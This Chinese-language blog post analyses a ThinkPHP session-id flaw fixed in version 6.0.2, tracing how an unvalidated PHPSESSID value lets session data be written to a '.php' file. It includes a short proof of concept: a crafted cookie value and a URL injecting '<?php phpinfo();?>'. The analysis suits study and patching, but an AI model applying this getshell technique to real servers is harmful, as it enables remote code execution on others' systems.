zoukankan      html  css  js  c++  java
  • Thinkphp < 6.0.2 session id未作过滤导致getshell

    Thinkphp < 6.0.2 session id未作过滤导致getshell

    0x00 前言

    2020年1月13号,Thinkphp 6.0.2发布,在详情页指出修复了一处Session安全隐患

    经分析,如果使用tp框架的程序写法不当,会造成getshell。

    0x01 分析

    通过diff github上面的6.0.1和6.0.2的代码可以发现,6.0.1在设置session id时未对值进行ctype_alnum()校验,从而导致可以传入任意字符。

    传入任意字符会有什么危害?一般来说程序可能会以session id作为文件名来创建对应的session文件,但是到目前为止这只是猜测。看一下保存session是怎么写的。

    public function save(): void
    {
        $this->clearFlashData();
    
        $sessionId = $this->getId();
    
        if (!empty($this->data)) {
            $data = $this->serialize($this->data);
    
            $this->handler->write($sessionId, $data);
        } else {
            $this->handler->delete($sessionId);
        }
    
        $this->init = false;
    }
    

    先获取sessionid,然后作为第一个参数传入$this->handler->write()$this->handler在构造函数中被初始化

    public function __construct($name, SessionHandlerInterface $handler, array $serialize = null)
    {
        $this->name    = $name;
        $this->handler = $handler;
    
        if (!empty($serialize)) {
            $this->serialize = $serialize;
        }
    
        $this->setId();
    }
    

    可以看出$handler的类型是SessionHandlerInterface,全局发现这是一个接口,实现这个接口的类有两个,一个是File,一个是Cache。这里以File类为例,我们跟进它的write()方法

    public function write(string $sessID, string $sessData): bool
    {
        $filename = $this->getFileName($sessID, true);
        $data     = $sessData;
    
        if ($this->config['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
    
        return $this->writeFile($filename, $data);
    }
    

    这里先通过第一个参数(也就是session id)来构造$filename,然后判断是否需要对session数据进行压缩,默认是不需要的,最后return时调用$this->writeFile()。先看看文件名是如何构造的,跟进$this->getFileName()

    protected function getFileName(string $name, bool $auto = false): string
    {
        if ($this->config['prefix']) {
            $name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
        } else {
            $name = 'sess_' . $name;
        }
    
        $filename = $this->config['path'] . $name;
        ...
        return $filename;
    }
    

    这里直接将第一个参数拼接到路径的最后。跟进之前的$this->writeFile()方法

    protected function writeFile($path, $content): bool
    {
        return (bool) file_put_contents($path, $content, LOCK_EX);
    }
    

    刺激了,这里直接保存了文件。纵观全局,由于程序未对session id进行危险字符判断,只要将session id写为类似于xxxx.php的格式,即可导致session保存成.php文件,从而getshell。

    0x02 利用

    通过全局搜索setId发现在think/middleware/SessionInit.php:handle():L59发生了调用。

    public function handle($request, Closure $next)
    {
        // Session初始化
        $varSessionId = $this->app->config->get('session.var_session_id');
        $cookieName   = $this->session->getName();
    
        if ($varSessionId && $request->request($varSessionId)) {
            $sessionId = $request->request($varSessionId);
        } else {
            $sessionId = $request->cookie($cookieName);
        }
    
        if ($sessionId) {
            $this->session->setId($sessionId);
        }
    	...
    

    由于session.var_session_id默认是空,这里的$sessionId的值由$request->cookie($cookieName)获得,$cookieName经过跟进后发现默认是PHPSESSID。

    因此我们只要设置Cookie中的PHPSESSID的值为1234567890123456789012345678.php即可。

    0x03 怎么写会导致漏洞?

    在index控制器中添加如下action

    public function testsession2(){
        $username = Request::get('name');
        Session::set('username', $username);
        return 'hi';
    }
    

    用于获取name参数,并将之设置到session中。

    访问url:http://127.0.0.1/tp6/public/index.php/index/testsession2?name=<?php%20phpinfo();?>

    访问session文件,一般位于项目根目录下的./runtime/session/文件夹下,也就是/runtime/session/sess_1234567890123456789012345678.php

    0x04 补丁

    在6.0.2中,对session id使用了ctype_alnum()进行了判断,导致无法传递.等特殊字符,从而无法控制session文件为.php后缀。

  • 相关阅读:
    宏定义抽取单例
    谓词基本使用
    Xcode静态分析工具--Analyze
    [转载]CocoaPods管理第三方开源框架
    @import--iOS7新关键字
    iOS手势识别
    UINavigationController
    JSON解析--原生&AFN
    UITabBarController
    iOS APP EuclidStudy Service Support
  • 原文地址:https://www.cnblogs.com/litlife/p/12193553.html
Copyright © 2011-2022 走看看